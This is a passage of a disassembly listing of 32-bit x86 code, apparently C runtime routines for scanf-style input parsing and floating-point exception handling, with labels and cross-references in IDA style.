[ebp+arg_4], edi cmp byte ptr [edi], 5Eh jnz loc_420A80 mov eax, edi lea edi, [eax+1] jmp loc_420A7C ; --------------------------------------------------------------------------- loc_4209E3: ; CODE XREF: sub_420510+24Fj cmp ebx, 2Bh jnz short loc_420A0A loc_4209E8: ; CODE XREF: sub_420510+259j dec [ebp+var_C] jnz short loc_4209F9 cmp [ebp+var_20], 0 jz short loc_4209F9 mov [ebp+var_F], 1 jmp short loc_420A0A ; --------------------------------------------------------------------------- loc_4209F9: ; CODE XREF: sub_420510+4DBj ; sub_420510+4E1j push [ebp+arg_0] inc [ebp+var_4] call sub_420F6C mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_420A0A: ; CODE XREF: sub_420510+4D6j ; sub_420510+4E7j cmp ebx, 30h jnz loc_420C58 push [ebp+arg_0] inc [ebp+var_4] call sub_420F6C mov ebx, eax pop ecx cmp bl, 78h mov [ebp+var_14], ebx jz short loc_420A58 cmp bl, 58h jz short loc_420A58 cmp esi, 78h mov [ebp+var_1C], 1 jz short loc_420A42 push 6Fh loc_420A3C: ; CODE XREF: sub_420510+55Bj pop esi jmp loc_420C58 ; --------------------------------------------------------------------------- loc_420A42: ; CODE XREF: sub_420510+528j push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_420F86 pop ecx pop ecx push 30h pop ebx jmp loc_420C55 ; --------------------------------------------------------------------------- loc_420A58: ; CODE XREF: sub_420510+517j ; sub_420510+51Cj push [ebp+arg_0] inc [ebp+var_4] call sub_420F6C pop ecx mov ebx, eax mov [ebp+var_14], ebx push 78h jmp short loc_420A3C ; --------------------------------------------------------------------------- loc_420A6D: ; CODE XREF: sub_420510+46Fj cmp [ebp+var_5], 0 jle short loc_420A77 mov [ebp+var_16], 1 loc_420A77: ; CODE XREF: sub_420510+561j mov edi, offset dword_43CE38 loc_420A7C: ; CODE XREF: sub_420510+45Cj ; sub_420510+4CEj or [ebp+var_18], 0FFh loc_420A80: ; CODE XREF: sub_420510+4C3j push 20h lea eax, [ebp+var_64] push 0 push eax call sub_41B590 add esp, 0Ch cmp [ebp+var_3C], 7Bh jnz short loc_420AA4 cmp byte ptr [edi], 5Dh jnz short loc_420AA4 mov dl, 5Dh inc edi mov [ebp+var_59], 20h jmp short loc_420AA7 ; --------------------------------------------------------------------------- loc_420AA4: ; CODE XREF: sub_420510+584j ; sub_420510+589j mov dl, [ebp+var_35] loc_420AA7: ; CODE XREF: sub_420510+592j ; sub_420510+5E1j ... mov al, [edi] cmp al, 5Dh jz short loc_420B0C inc edi cmp al, 2Dh jnz short loc_420AF3 test dl, dl jz short loc_420AF3 mov cl, [edi] cmp cl, 5Dh jz short loc_420AF3 inc edi cmp dl, cl jnb short loc_420AC6 mov al, cl jmp short loc_420ACA ; --------------------------------------------------------------------------- loc_420AC6: ; CODE XREF: sub_420510+5B0j mov al, dl mov dl, cl loc_420ACA: ; CODE XREF: sub_420510+5B4j cmp dl, al ja short loc_420AEF movzx edx, dl movzx esi, al sub esi, edx inc esi loc_420AD7: ; CODE XREF: sub_420510+5DDj mov ecx, edx mov eax, edx and ecx, 7 mov bl, 1 shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_64] or [eax], bl inc edx dec esi jnz short loc_420AD7 loc_420AEF: ; CODE XREF: sub_420510+5BCj xor dl, dl jmp short loc_420AA7 ; --------------------------------------------------------------------------- loc_420AF3: ; CODE XREF: sub_420510+5A0j ; sub_420510+5A4j ... movzx ecx, al mov dl, al mov eax, ecx and ecx, 7 mov bl, 1 shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_64] or [eax], bl jmp short loc_420AA7 ; --------------------------------------------------------------------------- loc_420B0C: ; CODE XREF: sub_420510+59Bj cmp byte ptr [edi], 0 jz loc_420F16 cmp [ebp+var_3C], 7Bh jnz short loc_420B1E mov [ebp+arg_4], edi loc_420B1E: ; CODE XREF: sub_420510+609j mov edi, [ebp+arg_0] mov esi, [ebp+var_2C] dec [ebp+var_4] push edi push [ebp+var_14] mov [ebp+var_30], esi call sub_420F86 pop ecx pop ecx loc_420B35: ; CODE XREF: sub_420510+6BCj ; sub_420510+6C4j cmp [ebp+var_20], 0 jz short loc_420B49 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz loc_420BE5 loc_420B49: ; CODE XREF: sub_420510+629j inc [ebp+var_4] push edi call sub_420F6C cmp eax, 0FFFFFFFFh pop ecx mov [ebp+var_14], eax jz short loc_420BD9 mov ecx, eax push 1 and ecx, 7 pop edx movsx ebx, [ebp+var_18] shl edx, cl mov ecx, eax sar ecx, 3 movsx ecx, [ebp+ecx+var_64] xor ecx, ebx test edx, ecx jz short loc_420BD9 cmp [ebp+var_E], 0 jnz short loc_420BD1 cmp [ebp+var_16], 0 jz short loc_420BC6 mov ecx, off_43C9B8 mov [ebp+var_38], al movzx eax, al test byte ptr [ecx+eax*2+1], 80h jz short loc_420BA5 inc [ebp+var_4] push edi call sub_420F6C pop ecx mov [ebp+var_37], al loc_420BA5: ; CODE XREF: sub_420510+686j push dword_43CBC4 lea eax, [ebp+var_38] push eax lea eax, [ebp+var_3E] push eax call sub_423EC3 mov ax, [ebp+var_3E] add esp, 0Ch mov [esi], ax inc esi inc esi jmp short loc_420BC9 ; --------------------------------------------------------------------------- loc_420BC6: ; CODE XREF: sub_420510+673j mov [esi], al inc esi loc_420BC9: ; CODE XREF: sub_420510+6B4j mov [ebp+var_2C], esi jmp loc_420B35 ; --------------------------------------------------------------------------- loc_420BD1: ; CODE XREF: sub_420510+66Dj inc [ebp+var_30] jmp loc_420B35 ; --------------------------------------------------------------------------- loc_420BD9: ; CODE XREF: sub_420510+649j ; sub_420510+667j dec [ebp+var_4] push edi push eax call sub_420F86 pop ecx pop ecx loc_420BE5: ; CODE XREF: sub_420510+633j cmp [ebp+var_30], esi jz loc_420F16 cmp [ebp+var_E], 0 jnz loc_420E77 inc [ebp+var_34] cmp [ebp+var_3C], 63h jz loc_420E77 cmp [ebp+var_16], 0 mov eax, [ebp+var_2C] jz short loc_420C17 and word ptr [eax], 0 jmp loc_420E77 ; --------------------------------------------------------------------------- loc_420C17: ; CODE XREF: sub_420510+6FCj and byte ptr [eax], 0 jmp loc_420E77 ; --------------------------------------------------------------------------- loc_420C1F: ; CODE XREF: sub_420510+466j mov [ebp+var_D], 1 loc_420C23: ; CODE XREF: sub_420510+203j ; sub_420510+215j ... mov ebx, [ebp+var_14] cmp ebx, 2Dh jnz short loc_420C31 mov [ebp+var_17], 1 jmp short loc_420C36 ; --------------------------------------------------------------------------- loc_420C31: ; CODE XREF: sub_420510+719j cmp ebx, 2Bh jnz short loc_420C58 loc_420C36: ; CODE XREF: sub_420510+71Fj dec [ebp+var_C] jnz short loc_420C47 cmp [ebp+var_20], 0 jz short loc_420C47 mov [ebp+var_F], 1 jmp short loc_420C58 ; --------------------------------------------------------------------------- loc_420C47: ; CODE XREF: sub_420510+729j ; sub_420510+72Fj push [ebp+arg_0] inc [ebp+var_4] call sub_420F6C pop ecx mov ebx, eax loc_420C55: ; CODE XREF: sub_420510+543j mov [ebp+var_14], ebx loc_420C58: ; CODE XREF: sub_420510+4FDj ; sub_420510+52Dj ... cmp [ebp+var_30], 0 jz loc_420D71 cmp [ebp+var_F], 0 jnz loc_420D4F loc_420C6C: ; CODE XREF: sub_420510+82Cj cmp esi, 78h jnz short loc_420CC0 cmp dword_43CBC4, 1 jle short loc_420C89 push 80h push ebx call sub_41F515 pop ecx pop ecx jmp short loc_420C96 ; --------------------------------------------------------------------------- loc_420C89: ; CODE XREF: sub_420510+768j mov eax, off_43C9B8 mov al, [eax+ebx*2] and eax, 80h loc_420C96: ; CODE XREF: sub_420510+777j test eax, eax jz loc_420D41 mov eax, [ebp+var_28] mov edx, [ebp+var_24] push 4 pop ecx call sub_423F90 push ebx mov [ebp+var_28], eax mov [ebp+var_24], edx call sub_420F35 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_420D13 ; --------------------------------------------------------------------------- loc_420CC0: ; CODE XREF: sub_420510+75Fj cmp dword_43CBC4, 1 jle short loc_420CD5 push 4 push ebx call sub_41F515 pop ecx pop ecx jmp short loc_420CE0 ; --------------------------------------------------------------------------- loc_420CD5: ; CODE XREF: sub_420510+7B7j mov eax, off_43C9B8 mov al, [eax+ebx*2] and eax, 4 loc_420CE0: ; CODE XREF: sub_420510+7C3j test eax, eax jz short loc_420D41 cmp esi, 6Fh jnz short loc_420CFE cmp ebx, 38h jge short loc_420D41 mov eax, [ebp+var_28] mov edx, [ebp+var_24] push 3 pop ecx call sub_423F90 jmp short loc_420D0D ; --------------------------------------------------------------------------- loc_420CFE: ; CODE XREF: sub_420510+7D7j push 0 push 0Ah push [ebp+var_24] push [ebp+var_28] call sub_41D280 loc_420D0D: ; CODE XREF: sub_420510+7ECj mov [ebp+var_28], eax mov [ebp+var_24], edx loc_420D13: ; CODE XREF: sub_420510+7AEj inc [ebp+var_1C] lea eax, [ebx-30h] cdq add [ebp+var_28], eax adc [ebp+var_24], edx cmp [ebp+var_20], 0 jz short loc_420D2B dec [ebp+var_C] jz short loc_420D4F loc_420D2B: ; CODE XREF: sub_420510+814j push [ebp+arg_0] inc [ebp+var_4] call sub_420F6C mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp loc_420C6C ; --------------------------------------------------------------------------- loc_420D41: ; CODE XREF: sub_420510+788j ; sub_420510+7D2j ... push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_420F86 pop ecx pop ecx loc_420D4F: ; CODE XREF: sub_420510+756j ; sub_420510+819j cmp [ebp+var_17], 0 jz loc_420E35 mov eax, [ebp+var_28] mov ecx, [ebp+var_24] neg eax adc ecx, 0 mov [ebp+var_28], eax neg ecx mov [ebp+var_24], ecx jmp loc_420E35 ; --------------------------------------------------------------------------- loc_420D71: ; CODE XREF: sub_420510+74Cj cmp [ebp+var_F], 0 jnz loc_420E2D loc_420D7B: ; CODE XREF: sub_420510+90Aj cmp esi, 78h jz short loc_420DBF cmp esi, 70h jz short loc_420DBF cmp dword_43CBC4, 1 jle short loc_420D9A push 4 push ebx call sub_41F515 pop ecx pop ecx jmp short loc_420DA5 ; --------------------------------------------------------------------------- loc_420D9A: ; CODE XREF: sub_420510+87Cj mov eax, off_43C9B8 mov al, [eax+ebx*2] and eax, 4 loc_420DA5: ; CODE XREF: sub_420510+888j test eax, eax jz short loc_420E1F cmp esi, 6Fh jnz short loc_420DB8 cmp ebx, 38h jge short loc_420E1F shl edi, 3 jmp short loc_420DF7 ; --------------------------------------------------------------------------- loc_420DB8: ; CODE XREF: sub_420510+89Cj lea edi, [edi+edi*4] shl edi, 1 jmp short loc_420DF7 ; --------------------------------------------------------------------------- loc_420DBF: ; CODE XREF: sub_420510+86Ej ; sub_420510+873j cmp dword_43CBC4, 1 jle short loc_420DD7 push 80h push ebx call sub_41F515 pop ecx pop ecx jmp short loc_420DE4 ; --------------------------------------------------------------------------- loc_420DD7: ; CODE XREF: sub_420510+8B6j mov eax, off_43C9B8 mov al, [eax+ebx*2] and eax, 80h loc_420DE4: ; CODE XREF: sub_420510+8C5j test eax, eax jz short loc_420E1F push ebx shl edi, 4 call sub_420F35 mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_420DF7: ; CODE XREF: sub_420510+8A6j ; sub_420510+8ADj inc [ebp+var_1C] cmp [ebp+var_20], 0 lea edi, [edi+ebx-30h] jz short loc_420E09 dec [ebp+var_C] jz short loc_420E2D loc_420E09: ; CODE XREF: sub_420510+8F2j push [ebp+arg_0] inc [ebp+var_4] call sub_420F6C mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp loc_420D7B ; --------------------------------------------------------------------------- loc_420E1F: ; CODE XREF: sub_420510+897j ; sub_420510+8A1j ... push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_420F86 pop ecx pop ecx loc_420E2D: ; CODE XREF: sub_420510+865j ; sub_420510+8F7j cmp [ebp+var_17], 0 jz short loc_420E35 neg edi loc_420E35: ; CODE XREF: sub_420510+843j ; sub_420510+85Cj ... cmp esi, 46h jnz short loc_420E3E and [ebp+var_1C], 0 loc_420E3E: ; CODE XREF: sub_420510+928j cmp [ebp+var_1C], 0 jz loc_420F16 cmp [ebp+var_E], 0 jnz short loc_420E77 inc [ebp+var_34] loc_420E51: ; CODE XREF: sub_420510+23Bj cmp [ebp+var_30], 0 jz short loc_420E67 mov eax, [ebp+var_2C] mov ecx, [ebp+var_28] mov [eax], ecx mov ecx, [ebp+var_24] mov [eax+4], ecx jmp short loc_420E77 ; --------------------------------------------------------------------------- loc_420E67: ; CODE XREF: sub_420510+945j cmp [ebp+var_D], 0 mov eax, [ebp+var_2C] jz short loc_420E74 mov [eax], edi jmp short loc_420E77 ; --------------------------------------------------------------------------- loc_420E74: ; CODE XREF: sub_420510+95Ej mov [eax], di loc_420E77: ; CODE XREF: sub_420510+241j ; sub_420510+414j ... inc [ebp+var_15] inc [ebp+arg_4] mov esi, [ebp+arg_4] jmp short loc_420EC4 ; --------------------------------------------------------------------------- loc_420E82: ; CODE XREF: sub_420510+93j inc [ebp+var_4] push edi call sub_420F6C mov ebx, eax pop ecx movzx eax, byte ptr [esi] inc esi cmp eax, ebx mov [ebp+var_14], ebx mov [ebp+arg_4], esi jnz short loc_420EF1 mov ecx, off_43C9B8 movzx eax, bl test byte ptr [ecx+eax*2+1], 80h jz short loc_420EC4 inc [ebp+var_4] push edi call sub_420F6C pop ecx movzx ecx, byte ptr [esi] inc esi cmp ecx, eax mov [ebp+arg_4], esi jnz short loc_420EFF dec [ebp+var_4] loc_420EC4: ; CODE XREF: sub_420510+970j ; sub_420510+99Aj cmp [ebp+var_14], 0FFFFFFFFh jnz short loc_420EDA cmp byte ptr [esi], 25h jnz short loc_420F1C mov eax, [ebp+arg_4] cmp byte ptr [eax+1], 6Eh jnz short loc_420F1C mov esi, eax loc_420EDA: ; CODE XREF: sub_420510+9B8j mov al, [esi] test al, al jnz loc_42053A jmp short loc_420F16 ; --------------------------------------------------------------------------- loc_420EE6: ; CODE XREF: sub_420510+1F4j ; sub_420510+491j push [ebp+arg_0] dec [ebp+var_4] push [ebp+var_14] jmp short loc_420EF6 ; --------------------------------------------------------------------------- loc_420EF1: ; CODE XREF: sub_420510+98Aj dec [ebp+var_4] push edi push ebx loc_420EF6: ; CODE XREF: sub_420510+9DFj call sub_420F86 pop ecx pop ecx jmp short loc_420F16 ; --------------------------------------------------------------------------- loc_420EFF: ; CODE XREF: sub_420510+9AFj dec [ebp+var_4] push edi push eax call sub_420F86 dec [ebp+var_4] push edi push ebx call sub_420F86 add esp, 10h loc_420F16: ; CODE XREF: sub_420510+1Fj ; sub_420510+40Aj ... cmp [ebp+var_14], 0FFFFFFFFh jnz short loc_420F2D loc_420F1C: ; CODE XREF: sub_420510+9BDj ; sub_420510+9C6j mov eax, [ebp+var_34] test eax, eax jnz short loc_420F30 cmp [ebp+var_15], al jnz short loc_420F30 or eax, 0FFFFFFFFh jmp short loc_420F30 ; --------------------------------------------------------------------------- loc_420F2D: ; CODE XREF: sub_420510+A0Aj mov eax, [ebp+var_34] loc_420F30: ; CODE XREF: sub_420510+A11j ; sub_420510+A16j ... pop edi pop esi pop ebx leave retn sub_420510 endp ; =============== S U B R O U T I N E ======================================= sub_420F35 proc near ; CODE XREF: sub_420510+7A3p ; sub_420510+8DCp arg_0 = dword ptr 4 cmp dword_43CBC4, 1 push esi jle short loc_420F4F mov esi, [esp+4+arg_0] push 4 push esi call sub_41F515 pop ecx pop ecx jmp short loc_420F5E ; --------------------------------------------------------------------------- loc_420F4F: ; CODE XREF: sub_420F35+8j mov esi, [esp+4+arg_0] mov eax, off_43C9B8 mov al, [eax+esi*2] and eax, 4 loc_420F5E: ; CODE XREF: sub_420F35+18j test eax, eax jnz short loc_420F68 and esi, 0FFFFFFDFh sub esi, 7 loc_420F68: ; CODE XREF: sub_420F35+2Bj mov eax, esi pop esi retn sub_420F35 endp ; =============== S U B R O U T I N E ======================================= sub_420F6C proc near ; CODE XREF: sub_420510+1E1p ; sub_420510+289p ... arg_0 = dword ptr 4 mov edx, [esp+arg_0] dec dword ptr [edx+4] js short loc_420F7E mov ecx, [edx] movzx eax, byte ptr [ecx] inc ecx mov [edx], ecx retn ; --------------------------------------------------------------------------- loc_420F7E: ; CODE XREF: sub_420F6C+7j push edx call sub_41F043 pop ecx retn sub_420F6C endp ; =============== S U B R O U T I N E ======================================= sub_420F86 proc near ; CODE XREF: sub_420510+6Bp ; sub_420510+3FFp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0FFFFFFFFh jz short locret_420F9C push [esp+arg_4] push [esp+4+arg_0] call sub_423FAF pop ecx pop ecx locret_420F9C: ; CODE XREF: sub_420F86+5j retn sub_420F86 endp ; =============== S U B R O U T I N E ======================================= sub_420F9D proc near ; CODE XREF: sub_420510+63p ; sub_420510+1D3p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] push edi loc_420FA3: ; CODE XREF: sub_420F9D+1Dj push [esp+8+arg_4] inc dword ptr [esi] call sub_420F6C mov edi, eax push edi call sub_41D670 pop ecx test eax, eax pop ecx jnz short loc_420FA3 mov eax, edi pop edi pop esi retn sub_420F9D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __fastcall sub_420FC1(int,int,double,int) sub_420FC1 proc near ; CODE XREF: sub_41C679+51p ; sub_41C7BF+51p var_1C = qword ptr -1Ch var_14 = qword ptr -14h var_C = qword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_C = dword ptr 14h push ebp mov ebp, esp cmp dword_43D330, 0 jnz short loc_420FF6 push [ebp+arg_C] ; int fld qword ptr [ebp+arg_4] push ecx push ecx ; double fstp [esp+0Ch+var_C] push ecx ; int push ecx ; int fldz fstp [esp+14h+var_14] fld qword ptr [ebp+arg_4] push ecx ; int push ecx ; int fstp [esp+1Ch+var_1C] push [ebp+arg_0] ; int push 1 ; int call sub_421576 add esp, 24h pop ebp retn ; --------------------------------------------------------------------------- loc_420FF6: ; CODE XREF: sub_420FC1+Aj push 0FFFFh mov dword_4DB938, 21h push [ebp+arg_C] call sub_4217E9 fld qword ptr [ebp+arg_4] pop ecx pop ecx pop ebp retn sub_420FC1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_421014(int,int,double,double,int) sub_421014 proc near ; CODE XREF: sub_41C679:loc_41C73Cp ; sub_41C7BF:loc_41C882p var_74 = qword ptr -74h var_6C = qword ptr -6Ch var_64 = qword ptr -64h var_5C = dword ptr -5Ch var_58 = byte ptr -58h var_20 = dword ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = qword ptr 10h arg_10 = qword ptr 18h arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 58h push [ebp+arg_18] lea eax, [ebp+arg_10] push eax push [ebp+arg_0] call sub_42135F add esp, 0Ch test eax, eax jnz short loc_421052 lea eax, [ebp+arg_10] and [ebp+var_20], 0FFFFFFFEh push eax lea eax, [ebp+arg_8] push eax lea eax, [ebp+arg_18] push [ebp+arg_4] push [ebp+arg_0] push eax lea eax, [ebp+var_58] push eax call sub_4210AC add esp, 18h loc_421052: ; CODE XREF: sub_421014+1Aj push [ebp+arg_0] call sub_421649 cmp dword_43D330, 0 pop ecx jnz short loc_421090 test eax, eax jz short loc_421090 push [ebp+arg_18] ; int fld [ebp+arg_10] push ecx push ecx ; double fstp [esp+64h+var_64] push ecx ; int push ecx ; int fldz fstp [esp+6Ch+var_6C] fld [ebp+arg_8] push ecx ; int push ecx ; int fstp [esp+74h+var_74] push [ebp+arg_4] ; int push eax ; int call sub_421576 add esp, 24h leave retn ; --------------------------------------------------------------------------- loc_421090: ; CODE XREF: sub_421014+4Ej ; sub_421014+52j push eax call sub_4215FE mov [esp+5Ch+var_5C], 0FFFFh push [ebp+arg_18] call sub_4217E9 fld [ebp+arg_10] pop ecx pop ecx leave retn sub_421014 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4210AC proc near ; CODE XREF: sub_421014+36p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp mov ecx, [ebp+arg_0] xor eax, eax push ebx push esi mov [ecx+4], eax mov ecx, [ebp+arg_0] push edi push 1 mov [ecx+8], eax mov ecx, [ebp+arg_0] pop ebx mov [ecx+0Ch], eax mov cl, byte ptr [ebp+arg_8] test cl, 10h jz short loc_4210DE mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C000008Fh or [eax+4], ebx loc_4210DE: ; CODE XREF: sub_4210AC+23j test cl, 2 jz short loc_4210F1 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000093h or dword ptr [eax+4], 2 loc_4210F1: ; CODE XREF: sub_4210AC+35j test cl, bl jz short loc_421103 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000091h or dword ptr [eax+4], 4 loc_421103: ; CODE XREF: sub_4210AC+47j test cl, 4 jz short loc_421116 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C000008Eh or dword ptr [eax+4], 8 loc_421116: ; CODE XREF: sub_4210AC+5Aj test cl, 8 jz short loc_421129 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000090h or dword ptr [eax+4], 10h loc_421129: ; CODE XREF: sub_4210AC+6Dj mov esi, [ebp+arg_4] mov eax, [ebp+arg_0] push 2 mov ecx, [esi] mov edx, [eax+8] not ecx and ecx, ebx and edx, 0FFFFFFEFh shl ecx, 4 or ecx, edx pop edi mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] and ecx, 4 shl ecx, 1 and edx, 0FFFFFFF7h or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 1 and ecx, 4 and edx, 0FFFFFFFBh or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 3 and ecx, edi and edx, 0FFFFFFFDh or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 5 and ecx, ebx and edx, 0FFFFFFFEh or ecx, edx mov [eax+8], ecx call sub_4217CC test al, bl jz short loc_4211B2 mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 10h loc_4211B2: ; CODE XREF: sub_4210AC+FDj test al, 4 jz short loc_4211BD mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 8 loc_4211BD: ; CODE XREF: sub_4210AC+108j test al, 8 jz short loc_4211C8 mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 4 loc_4211C8: ; CODE XREF: sub_4210AC+113j test al, 10h jz short loc_4211D2 mov ecx, [ebp+arg_0] or [ecx+0Ch], edi loc_4211D2: ; CODE XREF: sub_4210AC+11Ej test al, 20h jz short loc_4211DC mov eax, [ebp+arg_0] or [eax+0Ch], ebx loc_4211DC: ; CODE XREF: sub_4210AC+128j mov eax, [esi] mov ecx, 0C00h and eax, ecx jz short loc_42121B cmp eax, 400h jz short loc_42120D cmp eax, 800h jz short loc_421201 cmp eax, ecx jnz short loc_421221 mov eax, [ebp+arg_0] or dword ptr [eax], 3 jmp short loc_421221 ; --------------------------------------------------------------------------- loc_421201: ; CODE XREF: sub_4210AC+147j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFFEh or ecx, edi jmp short loc_421217 ; --------------------------------------------------------------------------- loc_42120D: ; CODE XREF: sub_4210AC+140j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFFDh or ecx, ebx loc_421217: ; CODE XREF: sub_4210AC+15Fj mov [eax], ecx jmp short loc_421221 ; --------------------------------------------------------------------------- loc_42121B: ; CODE XREF: sub_4210AC+139j mov eax, [ebp+arg_0] and dword ptr [eax], 0FFFFFFFCh loc_421221: ; CODE XREF: sub_4210AC+14Bj ; sub_4210AC+153j ... mov eax, [esi] mov ecx, 300h and eax, ecx jz short loc_42124C cmp eax, 200h jz short loc_42123F cmp eax, ecx jnz short loc_421259 mov eax, [ebp+arg_0] and dword ptr [eax], 0FFFFFFE3h jmp short loc_421259 ; --------------------------------------------------------------------------- loc_42123F: ; CODE XREF: sub_4210AC+185j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFE7h or ecx, 4 jmp short loc_421257 ; --------------------------------------------------------------------------- loc_42124C: ; CODE XREF: sub_4210AC+17Ej mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFEBh or ecx, 8 loc_421257: ; CODE XREF: sub_4210AC+19Ej mov [eax], ecx loc_421259: ; CODE XREF: sub_4210AC+189j ; sub_4210AC+191j mov eax, [ebp+arg_0] mov ecx, [ebp+arg_C] and ecx, 0FFFh mov edx, [eax] shl ecx, 5 and edx, 0FFFE001Fh or ecx, edx mov [eax], ecx mov eax, [ebp+arg_0] or [eax+20h], ebx mov eax, [ebp+arg_0] mov ecx, [eax+20h] and ecx, 0FFFFFFE3h or ecx, edi mov [eax+20h], ecx mov eax, [ebp+arg_10] fld qword ptr [eax] mov eax, [ebp+arg_0] fstp qword ptr [eax+10h] mov eax, [ebp+arg_0] or [eax+50h], ebx mov eax, [ebp+arg_0] mov ecx, [eax+50h] and ecx, 0FFFFFFE3h or ecx, edi mov edi, [ebp+arg_14] mov [eax+50h], ecx mov eax, [ebp+arg_0] fld qword ptr [edi] fstp qword ptr [eax+40h] call sub_4217DA lea eax, [ebp+arg_0] push eax push ebx push 0 push [ebp+arg_8] call dword_42705C ; RaiseException mov eax, [ebp+arg_0] test byte ptr [eax+8], 10h jz short loc_4212D3 and dword ptr [esi], 0FFFFFFFEh loc_4212D3: ; CODE XREF: sub_4210AC+222j test byte ptr [eax+8], 8 jz short loc_4212DC and dword ptr [esi], 0FFFFFFFBh loc_4212DC: ; CODE XREF: sub_4210AC+22Bj test byte ptr [eax+8], 4 jz short loc_4212E5 and dword ptr [esi], 0FFFFFFF7h loc_4212E5: ; CODE XREF: sub_4210AC+234j test byte ptr [eax+8], 2 jz short loc_4212EE and dword ptr [esi], 0FFFFFFEFh loc_4212EE: ; CODE XREF: sub_4210AC+23Dj test [eax+8], bl jz short loc_4212F6 and dword ptr [esi], 0FFFFFFDFh loc_4212F6: ; CODE XREF: sub_4210AC+245j mov ecx, [eax] mov edx, 0FFFFF3FFh and ecx, 3 sub ecx, 0 jz short loc_42132A dec ecx jz short loc_42131E dec ecx jz short loc_421314 dec ecx jnz short loc_42132C or byte ptr [esi+1], 0Ch jmp short loc_42132C ; --------------------------------------------------------------------------- loc_421314: ; CODE XREF: sub_4210AC+25Dj mov ecx, [esi] and ch, 0FBh or ch, 8 jmp short loc_421326 ; --------------------------------------------------------------------------- loc_42131E: ; CODE XREF: sub_4210AC+25Aj mov ecx, [esi] and ch, 0F7h or ch, 4 loc_421326: ; CODE XREF: sub_4210AC+270j mov [esi], ecx jmp short loc_42132C ; --------------------------------------------------------------------------- loc_42132A: ; CODE XREF: sub_4210AC+257j and [esi], edx loc_42132C: ; CODE XREF: sub_4210AC+260j ; sub_4210AC+266j ... mov ecx, [eax] shr ecx, 2 and ecx, 7 sub ecx, 0 jz short loc_42134C dec ecx jz short loc_421343 dec ecx jnz short loc_421355 and [esi], edx jmp short loc_421355 ; --------------------------------------------------------------------------- loc_421343: ; CODE XREF: sub_4210AC+28Ej mov ecx, [esi] and ecx, edx or ch, 2 jmp short loc_421353 ; --------------------------------------------------------------------------- loc_42134C: ; CODE XREF: sub_4210AC+28Bj mov ecx, [esi] and ecx, edx or ch, 3 loc_421353: ; CODE XREF: sub_4210AC+29Ej mov [esi], ecx loc_421355: ; CODE XREF: sub_4210AC+291j ; sub_4210AC+295j fld qword ptr [eax+40h] fstp qword ptr [edi] pop edi pop esi pop ebx pop ebp retn sub_4210AC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42135F proc near ; CODE XREF: sub_421014+10p var_24 = qword ptr -24h var_C = qword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_0] push ebx push edi mov edi, eax and edi, 1Fh push 1 test al, 8 pop ebx jz short loc_42138A test byte ptr [ebp+arg_8], bl jz short loc_42138A push ebx call sub_42180C pop ecx and edi, 0FFFFFFF7h jmp loc_421554 ; --------------------------------------------------------------------------- loc_42138A: ; CODE XREF: sub_42135F+15j ; sub_42135F+1Aj test al, 4 jz short loc_4213A4 test byte ptr [ebp+arg_8], 4 jz short loc_4213A4 push 4 call sub_42180C pop ecx and edi, 0FFFFFFFBh jmp loc_421554 ; --------------------------------------------------------------------------- loc_4213A4: ; CODE XREF: sub_42135F+2Dj ; sub_42135F+33j test al, bl jz loc_42147E test byte ptr [ebp+arg_8], 8 jz loc_42147E push 8 call sub_42180C pop ecx mov eax, 0C00h mov ecx, [ebp+arg_8] and ecx, eax jz loc_421456 cmp ecx, 400h jz short loc_42142E cmp ecx, 800h jz short loc_421406 cmp ecx, eax jnz loc_421476 mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_427880 fld dbl_43CF30 fnstsw ax sahf ja short loc_4213FE fchs loc_4213FE: ; CODE XREF: sub_42135F+9Bj fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_421474 ; --------------------------------------------------------------------------- loc_421406: ; CODE XREF: sub_42135F+7Dj mov 